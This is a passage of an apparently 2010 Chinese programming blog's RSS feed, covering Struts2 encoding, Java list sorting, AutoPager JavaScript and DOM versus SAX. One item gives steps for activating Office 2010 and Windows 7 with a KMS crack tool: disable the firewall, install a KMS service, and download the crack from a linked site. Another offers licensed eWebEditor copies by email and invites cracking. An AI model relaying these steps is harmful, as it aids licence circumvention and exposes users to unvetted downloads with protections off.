&lt;h2 style="margin-top: 0px; margin-right: 0px; margin-bottom: 4px; margin-left: 0px; line-height: 19px; font-size: 16px; padding: 0px;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;a href="http://blog.chaojiwudi.com/2010/11/build-touch-optimized-web-app-for-mobile-device-using-jquery-mobile/"&gt;使用 jQuery Mobile 开发针对移动设备触摸屏优化的 Web 应用&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=253</guid><pubDate>Tue, 30 Nov 2010 05:10:01 GMT</pubDate></item><item><title>Struts2.1.6 StrutsPrepareAndExecuteFilter 乱码官方解决方法</title><link>http://www.chendw.cn:8080/view.aspx?id=252</link><description>&lt;p style="margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; font-size: 14px; line-height: 18px; text-align: justify; padding: 0px;"&gt;原来在struts2.0里面正常的内容，在struts2.1.6中会&lt;span style="background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #ffff99; padding-top: 0px; padding-right: 1px; padding-bottom: 0px; padding-left: 1px; background-position: initial initial; background-repeat: initial initial;"&gt;乱码&lt;/span&gt;，struts2.1.6居然还敢声称GA版，这种bug都有，汗一个，从官方找到的解决办法，&lt;br style="margin-bottom: 18px;" /&gt;修改strut2.1.6源文件org.apache.struts2.dispatcher.ng.filter.&lt;span style="background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #ffff99; padding-top: 0px; padding-right: 1px; padding-bottom: 0px; padding-left: 1px; background-position: initial initial; background-repeat: initial initial;"&gt;StrutsPrepareAndExecuteFilter&lt;/span&gt;，把doFilter方法中由：&lt;/p&gt;
&lt;p&gt;prepare.createActionContext(request, response);&lt;br style="margin-bottom: 18px;" /&gt;prepare.assignDispatcherToThread();&lt;br style="margin-bottom: 18px;" /&gt;prepare.setEncodingAndLocale(request, response);&lt;/p&gt;
&lt;p style="margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; font-size: 14px; line-height: 18px; text-align: justify; padding: 0px;"&gt;改为：&lt;/p&gt;
&lt;p&gt;prepare.setEncodingAndLocale(request, response);&lt;br style="margin-bottom: 18px;" /&gt;prepare.createActionContext(request, response);&lt;br style="margin-bottom: 18px;" /&gt;prepare.assignDispatcherToThread();&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=252</guid><pubDate>Thu, 04 Nov 2010 03:13:07 GMT</pubDate></item><item><title>java List 排序 Collections.sort() 对 List 排序</title><link>http://www.chendw.cn:8080/view.aspx?id=251</link><description>&lt;div&gt;
&lt;p&gt;//一个POJO例子&lt;br /&gt;&lt;br /&gt;class User {&lt;br /&gt;&amp;nbsp;String name;&lt;br /&gt;&amp;nbsp;String age;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;public User(String name,String age){&lt;br /&gt;&amp;nbsp;&amp;nbsp;this.name=name;&lt;br /&gt;&amp;nbsp;&amp;nbsp;this.age=age;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;public String getAge() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;return age;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;public void setAge(String age) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;this.age = age;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;public String getName() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;return name;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;public void setName(String name) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;this.name = name;&lt;br /&gt;&amp;nbsp;}&amp;nbsp;&lt;br /&gt;}&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;//具体的比较类，实现Comparator接口&lt;br /&gt;&lt;!--more--&gt;&lt;br /&gt;import java.util.Comparator;&lt;br /&gt;import java.util.List;&lt;br /&gt;import java.util.ArrayList;&lt;br /&gt;import java.util.Collections;&lt;br /&gt;&lt;br /&gt;public class ComparatorUser implements Comparator{&lt;/p&gt;
&lt;p&gt;&amp;nbsp;public int compare(Object arg0, Object arg1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;User user0=(User)arg0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;User user1=(User)arg1;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; //首先比较年龄，如果年龄相同，则比较名字&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;int flag=user0.getAge().compareTo(user1.getAge());&lt;br /&gt;&amp;nbsp;&amp;nbsp;if(flag==0){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return user0.getName().compareTo(user1.getName());&lt;br /&gt;&amp;nbsp;&amp;nbsp;}else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return flag;&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;}&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//测试类&lt;br /&gt;public class SortTest {&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;public static void main(String[] args){&lt;br /&gt;&amp;nbsp;&amp;nbsp;List userlist=new ArrayList();&lt;br /&gt;&amp;nbsp;&amp;nbsp;userlist.add(new User("dd","4"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;userlist.add(new User("aa","1"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;userlist.add(new User("ee","5"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;userlist.add(new User("bb","2"));&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;userlist.add(new User("ff","5"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;userlist.add(new User("cc","3"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;userlist.add(new User("gg","6"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;ComparatorUser comparator=new ComparatorUser();&lt;br /&gt;&amp;nbsp;&amp;nbsp;Collections.sort(userlist, comparator);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;for (int i=0;i&amp;lt;userlist.size();i++){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;User user_temp=(User)userlist.get(i);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(user_temp.getAge()+","+user_temp.getName());&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;//首先年龄排序，如果年龄相同，则按名字排序&lt;br /&gt;&lt;br /&gt;结果:&lt;br /&gt;&amp;nbsp;&amp;nbsp; 1, aa&lt;br /&gt;&amp;nbsp;&amp;nbsp; 2, bb&lt;br /&gt;&amp;nbsp;&amp;nbsp; 3, cc&lt;br /&gt;&amp;nbsp;&amp;nbsp; 4, dd&lt;br /&gt;&amp;nbsp;&amp;nbsp; 5, ee&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //注意:同样是5岁的人，则比较名字(ee,ff)，然后排序&lt;br /&gt;&amp;nbsp;&amp;nbsp; 5, ff&lt;br /&gt;&amp;nbsp;&amp;nbsp; 6, gg&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=251</guid><pubDate>Sun, 26 Sep 2010 01:24:39 GMT</pubDate></item><item><title>共享JSP版eWebEditor需要的网友请留下邮箱</title><link>http://www.chendw.cn:8080/view.aspx?id=250</link><description>&lt;p&gt;eWebEditor是基于浏览器的、所见即所得的在线HTML编辑器。她能够在网页上实现许多桌面编辑软件（如：Word）所具有的强大可视编辑功能。WEB开发人员可以用她把传统的多行文本输入框&amp;lt;TEXTAREA&amp;gt;替换为可视化的富文本输入框，使最终用户可以可视化的发布HTML格式的网页内容。eWebEditor!已基本成为网站内容管理发布的必备工具！&lt;/p&gt;
&lt;p&gt;有eWebEditor5.5、和eWebEditor6.2（需要授权，高手可自己破解）的版本。留言请注明需要的版本。我将邮件给你们。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=250</guid><pubDate>Fri, 03 Sep 2010 15:55:46 GMT</pubDate></item><item><title>Office 2010及win7激活工具+激活方法 mini-KMS_Activator v1.2+v1.053</title><link>http://www.chendw.cn:8080/view.aspx?id=249</link><description>&lt;p&gt;&lt;span style="font-size: x-small;"&gt;步骤(最好把mini-KMS放在Office2010的根目录下运行)：&lt;br /&gt;1、首先，关闭防火墙(确保激活过程中&amp;ldquo;电脑联网&amp;rdquo;)；&lt;br /&gt;2、其次，点击&amp;ldquo;Install/Uninstall KMService&amp;rdquo;安装&amp;ldquo;KMS&amp;rdquo;服务器；&lt;br /&gt;3、再次，点击&amp;ldquo;Rearm&amp;rdquo;进行重置；&lt;br /&gt;4、最后，点击&amp;ldquo;Activate&amp;rdquo;，即可成功激活(检查激活状态)。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: x-small;"&gt;以上方法有效。假如因为不明原因，对于Office 2010多次尝试激活失败(出现&amp;ldquo;0x8007000D&amp;rdquo;错误)，请进入注册表编辑器，删掉以下注册表键值：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform，重新(或修复)安装Office 2010并进行激活操作。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.7xdown.com/downinfo/8764.html"&gt;下载破解工具&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=249</guid><pubDate>Thu, 26 Aug 2010 12:33:14 GMT</pubDate></item><item><title>AutoPager的简单实现[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=248</link><description>&lt;p&gt;Firefox有个自动翻页的插件AutoPager，使用起来非常的方便。腾讯微博也有相同的功能，当鼠标滑动到底部时会自动展开下一页，如下图所示：&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;展开后如下所示：&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;这个功能虽然比较小，但是实现起来是非常有意思的事情，我们可以选择多种方法达到目的。下面我介绍一种简单的实现方式。&lt;/p&gt;
&lt;p&gt;1、首先移动滚动条会触发window.onscroll事件。&lt;/p&gt;
&lt;p&gt;2、我们可以根据滚动条滚动时屏幕位置和页面底部的距离来判断是否需要翻页。&lt;/p&gt;
&lt;p&gt;需要用到三个函数：&lt;/p&gt;
&lt;p&gt;1、pageHeight：页面总高度。&lt;/p&gt;
&lt;p&gt;2、windowHeight：屏幕高度。&lt;/p&gt;
&lt;p&gt;3、ScollY：页面滚动的高度。&lt;/p&gt;
&lt;p&gt;pageHeight减去windowHeight减去ScollY即为当前屏幕底部到页面底部的距离，如下图所示：&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;下面我们可以来实现这个功能了，我们设置一个阈值来设定页面加载的次数。&lt;/p&gt;
&lt;p&gt;view plaincopy to clipboardprint?&lt;br /&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "&lt;a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&lt;/a&gt;"&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;html xmlns="&lt;a href="http://www.w3.org/1999/xhtml"&gt;http://www.w3.org/1999/xhtml&lt;/a&gt;"&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;head&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;meta content="text/html; charset=utf-8" http-equiv="Content-Type"/&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;/head&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;body&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;ul id="ul-list"&amp;gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;/ul&amp;gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;mce:script type="text/javascript"&amp;gt;&amp;lt;!--&amp;nbsp;&amp;nbsp; &lt;br /&gt;var UI = {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pageHeight: function() {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return document.body.scrollHeight || document.documentElement.scrollHeight&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; },&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; windowHeight: function () {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var a = document.documentElement;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return self.innerHeight || a &amp;amp;&amp;amp; a.clientHeight || document.body.clientHeight&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; },&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; scrollY: function (a) {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var b = document.documentElement;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (a) {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var c = a.parentNode,&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e = a.scrollTop || 0;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (a == b) e = UI.scrollY();&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return c ? e + UI.scrollY(c) : e&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return self.pageYOffset || b &amp;amp;&amp;amp; b.scrollTop || document.body.scrollTop&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp; &lt;br /&gt;};&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &lt;br /&gt;var Utils = {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; randomChar: function(l)&amp;nbsp; {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var x = "0123456789qwertyuioplkjhgfdsazxcvbnm";&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var tmp = "";&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(var i=0; i &amp;lt; l; i++)&amp;nbsp; {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tmp += x.charAt(Math.ceil(Math.random() * 100000000) % x.length);&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return tmp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp; &lt;br /&gt;};&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &lt;br /&gt;var ul = document.getElementById('ul-list');&amp;nbsp;&amp;nbsp; &lt;br /&gt;for(var i = 0; i &amp;lt; 50; i++) {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var li = document.createElement("li");&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; li.innerHTML = 'hfahe';&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ul.appendChild(li);&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &lt;br /&gt;var scoll_time = 0;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &lt;br /&gt;window.onscroll = function() {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(scoll_time &amp;lt; 10 &amp;amp; UI.pageHeight() - UI.scrollY() - UI.windowHeight() &amp;lt; 60) {&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var ul_list = document.getElementById('ul-list');&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var new_li = document.createElement('li');&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; new_li.innerHTML = Utils.randomChar(5);&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ul_list.appendChild(new_li);&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; scoll_time++;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&amp;nbsp;&amp;nbsp; &lt;br /&gt;// --&amp;gt;&amp;lt;/mce:script&amp;gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;/body&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;/html&amp;gt;&amp;nbsp; &lt;br /&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "&lt;a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&lt;/a&gt;"&amp;gt; &lt;br /&gt;&amp;lt;html xmlns="&lt;a href="http://www.w3.org/1999/xhtml"&gt;http://www.w3.org/1999/xhtml&lt;/a&gt;"&amp;gt; &lt;br /&gt;&amp;lt;head&amp;gt; &lt;br /&gt;&amp;lt;meta content="text/html; charset=utf-8" http-equiv="Content-Type"/&amp;gt; &lt;br /&gt;&amp;lt;/head&amp;gt; &lt;br /&gt;&amp;lt;body&amp;gt; &lt;br /&gt;&amp;lt;ul id="ul-list"&amp;gt;&lt;br /&gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&amp;lt;mce:script type="text/javascript"&amp;gt;&amp;lt;!--&lt;br /&gt;var UI = {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pageHeight: function() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return document.body.scrollHeight || document.documentElement.scrollHeight&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; windowHeight: function () {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var a = document.documentElement;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return self.innerHeight || a &amp;amp;&amp;amp; a.clientHeight || document.body.clientHeight&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; scrollY: function (a) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var b = document.documentElement;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (a) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var c = a.parentNode,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e = a.scrollTop || 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (a == b) e = UI.scrollY();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return c ? e + UI.scrollY(c) : e&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return self.pageYOffset || b &amp;amp;&amp;amp; b.scrollTop || document.body.scrollTop&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;};&lt;/p&gt;
&lt;p&gt;var Utils = {&lt;br /&gt;&amp;nbsp;randomChar: function(l)&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;var x = "0123456789qwertyuioplkjhgfdsazxcvbnm";&lt;br /&gt;&amp;nbsp;&amp;nbsp;var tmp = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;for(var i=0; i &amp;lt; l; i++)&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp += x.charAt(Math.ceil(Math.random() * 100000000) % x.length);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;return tmp;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;};&lt;/p&gt;
&lt;p&gt;var ul = document.getElementById('ul-list');&lt;br /&gt;for(var i = 0; i &amp;lt; 50; i++) {&lt;br /&gt;&amp;nbsp;var li = document.createElement("li");&lt;br /&gt;&amp;nbsp;li.innerHTML = 'hfahe';&lt;br /&gt;&amp;nbsp;ul.appendChild(li);&lt;br /&gt;}&lt;/p&gt;
&lt;p&gt;var scoll_time = 0;&lt;/p&gt;
&lt;p&gt;window.onscroll = function() {&lt;br /&gt;&amp;nbsp;if(scoll_time &amp;lt; 10 &amp;amp; UI.pageHeight() - UI.scrollY() - UI.windowHeight() &amp;lt; 60) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;var ul_list = document.getElementById('ul-list');&lt;br /&gt;&amp;nbsp;&amp;nbsp;var new_li = document.createElement('li');&lt;br /&gt;&amp;nbsp;&amp;nbsp;new_li.innerHTML = Utils.randomChar(5);&lt;br /&gt;&amp;nbsp;&amp;nbsp;ul_list.appendChild(new_li);&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;scoll_time++;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;// --&amp;gt;&amp;lt;/mce:script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt; &lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;
&lt;p&gt;这样，我们就实现了AutoPager的功能。&lt;/p&gt;
&lt;p&gt;剩下一个很有意思的问题，window.onscroll按照道理会在滚动条的每次移动时触发，那么在我们设定触发的高度内（例子里是60个像素），它会不会频繁的调用我们的方法呢？例如像腾讯微博一样的Ajax调用会不会多次出现呢？又该如何解决此问题呢？读者有空的话可以思考思考。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;本文来自CSDN博客，转载请标明出处：&lt;a href="http://blog.csdn.net/hfahe/archive/2010/08/20/5827483.aspx"&gt;http://blog.csdn.net/hfahe/archive/2010/08/20/5827483.aspx&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=248</guid><pubDate>Tue, 24 Aug 2010 12:16:32 GMT</pubDate></item><item><title>DOM与SAX区别</title><link>http://www.chendw.cn:8080/view.aspx?id=247</link><description>&lt;p&gt;&lt;span style="font-size: x-small;"&gt;SAX是Simple API for XML的缩写，它并不是由W3C官方所提出的标准，可以说是&amp;ldquo;民间&amp;rdquo;的事实标准。实际上，它是一种社区性质的讨论产物。虽然如此，在XML中对SAX的应用丝毫不比DOM少，几乎所有的XML解析器都会支持它。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: x-small;"&gt;与 DOM比较而言，SAX是一种轻量型的方法。我们知道，在处理DOM的时候，我们需要读入整个的XML文档，然后在内存中创建DOM树，生成DOM树上的每个Node对象。当文档比较小的时候，这不会造成什么问题，但是一旦文档大起来，处理DOM就会变得相当费时费力。特别是其对于内存的需求，也将是成倍的增长，以至于在某些应用中使用DOM是一件很不划算的事（比如在applet中）。这时候，一个较好的替代解决方法就是SAX。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: x-small;"&gt;SAX 在概念上与DOM完全不同。首先，不同于DOM的文档驱动，它是事件驱动的，也就是说，它并不需要读入整个文档，而文档的读入过程也就是SAX的解析过程。所谓事件驱动，是指一种基于回调（callback）机制的程序运行方法。（如果你对Java新的代理事件模型比较清楚的话，就会很容易理解这种机制了）&lt;/span&gt;&lt;/p&gt;
